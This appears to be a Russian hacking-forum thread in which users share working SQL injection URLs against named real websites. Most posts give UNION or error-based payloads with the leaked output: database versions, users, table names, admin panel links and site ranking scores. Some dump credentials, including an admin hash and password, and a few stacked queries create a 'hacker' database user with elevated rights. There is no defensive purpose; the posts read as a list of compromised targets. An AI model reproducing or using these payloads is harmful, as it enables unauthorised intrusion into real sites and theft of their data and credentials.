SQL Инъекции

Немецкая газетенка:

Code:

http://www.atlantic-times.com/archive_detail.php?recordID=1-0.1+UNION+SELECT+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),6,7,8,9-- 

Database Version: 5.5.8
Database name: content
User name: content@localhost

 

user=postgres
version()=PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
current_database()=bb
inet_server_addr()=

Создаём нового пользователя:

id=27;CREATE USER hacker PASSWORD 'mypass';

Даём юзеру права на создание новых БД и новых пользователей:

id=27;ALTER USER test1 CREATEUSER CREATEDB;

http://cat.rusbic.ru/?id=76;CREATE TABLE аааа (b text);

 

http://pcboards.ru/show.php?dev=109+order+by+13

 

http://www.freehands.ru/game.php?set_phone_model=-148+union+select+null,null,group_concat(table_name+separator+0x3a)+from+information_schema.tables--

 

клац

http://forum.antichat.ru/showthread.php?p=2596026#post2596026

 

http://www.aist-climat.ru/catalog/list/?id=-6349%20and%201=2%20union%20select%201,concat_ws(char(58),@@version,user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+--

4.1.25-log cms5ru69_aist@localhost cms5ru69_aist

 

http://www.texe.com/view.php?page=-34+union+select+1,group_concat(table_name+separator+0x3a),3,4,5+from+information_schema.tables--

http://www.pandora.biz.ua/index.php?p=-35+union+select+1,2,group_concat(concat_ws(0x3a3a3a,cat_id,root_cat,name_cat,descr,sh_descr,img,por)+separator+0x2a2a2a)+from+category--

 

http://thomasdane.myzen.co.uk/artist.php?artist_id=-9%20union%20select%201,2,3,version(),5+--+

 

Code:

http://www.saittrojans.com/teams/schedule.html?sportID=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(table_name)+from+information_schema.tables--

5 ветка

 

Code:

http://www.mtosmt.org/mto-announce.php?id=-74+union+select+1,group_concat%28table_name%29,3,4,5+from+information_schema.tables--

5.1.33-log / mtoadmin_db

Code:

http://www.go-whippet.co.uk/announce.php?id=1%20or%281,2%29=%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29

'5.0.77'

 

http://www.leoalexander.co.uk/index.asp?id=11+and+1=0+union+all+select+1,2,3,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,5,6,7+--+

Результаты в тайтле страницы.

Удалось подобрать таблицу users (id, email, country). Парольного поля подобрать не получилось. В таблице данные 338 пользователей.

 

Вот прикольная инъекция
http://kapitoshka.lg.ua/gallery.php?page=2&section=99999+union+select+version()--
догадайтесь где версия!)

 

" href="pictures/gallery/5.0.51a-24+lenny5-log.jpg">"

Code:

http://www.globalalliancepr.org/event.php?id=-8+union+select+concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29

4.1.22:global_geral:global_geraladm@localhost

 

http://www.santaspen.net/content.php?id=-9+union+select+1,2,group_concat(0x3a3a,id_usr,email_usr,0x3a3a,password_usr),4,5+from+users_usr+--
Админка: http://www.santaspen.net/admin/index.php
Google PageRank (PR): 3
-----
http://www.flatsminsk.com/info.php?id=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,@@version,13+--
Админка: http://www.flatsminsk.com/admin/index.php
Тиц: 30
-----
http://rakurs.rovno.ua/info.php?id=-182+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14+--
Тиц: 20
Google PageRank (PR): 2
-----
http://www.harrisinstitute.com/site/page.php?id=103+union+select+1,2,group_concat(username,password,0x3a3a),4,5,6,7,8,9,10+from+tbl_users+--
Админка: http://www.harrisinstitute.com/admin
Google PageRank (PR): 4
Admin:b75054364c277adfdca606e3300413a8:purples0177

 

http://teachers.yale.edu/curriculum/search/viewer.php?id=-initiative_09.01.01_u'+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10,11,12+--+

5.0.77-log:res_teachers1:[email protected]:redhat-linux-gnu

Google PageRank (PR): 6

 

Code:

http://www.superav.com/fr/details_final.php?productID=-1+union+select+1,2,group_concat(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37

5.0.91-community:superav_MyMovie@localhost:superav_movie
вывод в титле.

 

http://www.nypdangels.com/cop/cop.php?id=-159+and+(select*from(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x3a,user(),@@version_compile_os)+from+INFORMATION_SCHEMA.TABLES+limit+1,1),1,64),floor(rand(0)*2)))z)+--+

5.0.91-log:nypdange_angels:[email protected]:unknown-linux-gnu

 

http://www.melges.com/?p=news&id=-1074+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)+--+


5.0.77-log:409707_melges:[email protected]:redhat-linux-gnu

ТИЦ: 10
Google PageRank (PR): 4

 

Моя первая инъекция

Code:

http://www.magadangorod.ru/index.php?do=form&id=-1+union+select+1,2,3,4,5,6,7,8,9,concat%28version%28%29%29,10%20--

5.0.92-community-log
ТИЦ 210
PR 5

 

Code:

http://www.korkinskoe.ru/index.php?page_id=-1+union+se lect+1,2,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,concat(username,0x3a,password),19,20,21,22+from+korkino_users

Вывод в тайтле.
5 ветка.
Админка:
http://www.korkinskoe.ru/admin/

тиц 10